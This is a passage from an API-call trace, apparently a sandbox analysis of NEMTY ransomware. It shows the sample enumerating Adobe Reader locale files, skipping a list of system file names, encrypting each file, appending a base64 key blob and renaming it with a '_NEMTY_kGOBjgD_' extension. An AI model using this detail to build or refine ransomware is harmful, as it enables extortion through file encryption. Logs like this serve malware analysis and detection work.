(HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.886] Sleep (dwMilliseconds=0x5) [0180.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f780d30, dwHighDateTime=0x1d561e8)) [0180.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f780d30, dwHighDateTime=0x1d561e8)) [0180.895] GetLastError () returned 0x0 [0180.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.895] GetLastError () returned 0x0 [0180.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.896] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.896] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.896] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.896] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="7n9cD93uacj4jPjYpx6c2mENrVxEm4KSTOz+YDGbwcnTdxnrcKiwBFN8iIxSCJfR\r\nAWvHaWSlU7J4mY3SaBqOnk5qzFPEjH6vRcYW1qdyG9t9SMJQNqXFvVAZVyZyIlit\r\nk1GSHqWS0QycobxGCPr1ugAzyx9o+wE10v8f5py7K6p4UacWTRjsT16dvor7MmGF\r\nYsgxop21HC0qulaaYIdTlCZooU6Fx2nxJPxuOCtPOyR1EUI3MFsez7nO66uvMyyL\r\nfPF/tjIUPFCZidvN6qwWhPU/7LRyC9u2trv8Xm/+et2QRCox/dZnhKwEKA5Ye67K\r\nsWHLsM1mY4j6PiSg/9/dsg==\r\n", pcchString=0x653e5dc) returned 1 [0180.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Checkers.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\checkers.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.896] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=124928) returned 1 [0180.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0180.896] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.897] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0180.905] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.905] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0180.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.905] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=124928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e800 [0180.905] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.905] CloseHandle (hObject=0x2e8) returned 1 [0180.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.906] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Checkers.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\checkers.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Checkers.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\checkers.pol._nemty_kgobjgd_")) returned 1 [0180.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.907] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.POL", cAlternateFileName="")) returned 1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2=".") returned 1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="..") returned 1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="...") returned 1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="windows") returned -1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="$RECYCLE.BIN") returned 1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="rsa") returned -1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="NTDETECT.COM") returned -1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="ntldr") returned -1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="MSDOS.SYS") returned -1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="IO.SYS") returned -1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="boot.ini") returned 1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="boot.ini") returned 1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="AUTOEXEC.BAT") returned 1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="ntuser.dat") returned -1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="desktop.ini") returned 1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="CONFIG.SYS") returned 1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="RECYCLER") returned -1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="BOOTSECT.BAK") returned 1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="bootmgr") returned 1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="programdata") returned -1 [0180.907] lstrcmpiW (lpString1="DigSig.POL", lpString2="appdata") returned 1 [0180.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.POL", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.POL", lpUsedDefaultChar=0x0) returned 10 [0180.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.POL", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.POL", lpUsedDefaultChar=0x0) returned 10 [0180.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.POL", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.POL", lpUsedDefaultChar=0x0) returned 10 [0180.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.POL", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.POL", lpUsedDefaultChar=0x0) returned 10 [0180.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.908] Sleep (dwMilliseconds=0x5) [0180.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f7a6e90, dwHighDateTime=0x1d561e8)) [0180.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f7a6e90, dwHighDateTime=0x1d561e8)) [0180.912] GetLastError () returned 0x0 [0180.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.912] GetLastError () returned 0x0 [0180.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.912] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.912] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.912] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.912] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="4o7dbu9ck+9oIXZ2GMxQLtvfLLDiZ2uEa3V6B1OJ21zxikR8YT1ShP+7eJ2S5Lj2\r\nknBd/FgYClhWtMXsheDKvSNX7ke/1ytd8AgHrS5jMfrkEV+vrGaQQ1OmdQTFgAzC\r\ni9YB28XR4D8Ca3wUoq8GTdGcXCAzAMhFT3OB9C7paOM6UpgcgzQFmsH7WXPyRtvW\r\n2hJPMGQXcJcUGu6RFqRSeqvJ0MGCpr5POOqCWTy9rjlp0bNAppCobTJHPR2FeBAG\r\nj5cxXeLXkIgtK6eANYMshn+lTq0jKEP9HM1bIUaOiLT5zRBgYkwGfMMcr8b4MxN+\r\nen6wKfl0R/5kHiaotqhngQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.912] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.912] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.912] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\DigSig.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\digsig.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.913] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=126976) returned 1 [0180.913] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0180.913] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.913] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0180.921] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.921] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0180.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.922] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=126976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f000 [0180.922] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.922] CloseHandle (hObject=0x2e8) returned 1 [0180.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0180.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.922] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\DigSig.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\digsig.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\DigSig.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\digsig.pol._nemty_kgobjgd_")) returned 1 [0180.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0180.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.923] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.POL", cAlternateFileName="")) returned 1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2=".") returned 1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="..") returned 1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="...") returned 1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="windows") returned -1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="$RECYCLE.BIN") returned 1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="rsa") returned -1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="NTDETECT.COM") returned -1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="ntldr") returned -1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="MSDOS.SYS") returned -1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="IO.SYS") returned -1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="boot.ini") returned 1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="boot.ini") returned 1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="AUTOEXEC.BAT") returned 1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="ntuser.dat") returned -1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="desktop.ini") returned 1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="CONFIG.SYS") returned 1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="RECYCLER") returned -1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="BOOTSECT.BAK") returned 1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="bootmgr") returned 1 [0180.923] lstrcmpiW (lpString1="DVA.POL", lpString2="programdata") returned -1 [0180.924] lstrcmpiW (lpString1="DVA.POL", lpString2="appdata") returned 1 [0180.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.POL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.POL", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.POL", lpUsedDefaultChar=0x0) returned 7 [0180.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.POL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.POL", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.POL", lpUsedDefaultChar=0x0) returned 7 [0180.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.POL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.POL", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.POL", lpUsedDefaultChar=0x0) returned 7 [0180.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.POL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.POL", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.POL", lpUsedDefaultChar=0x0) returned 7 [0180.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: 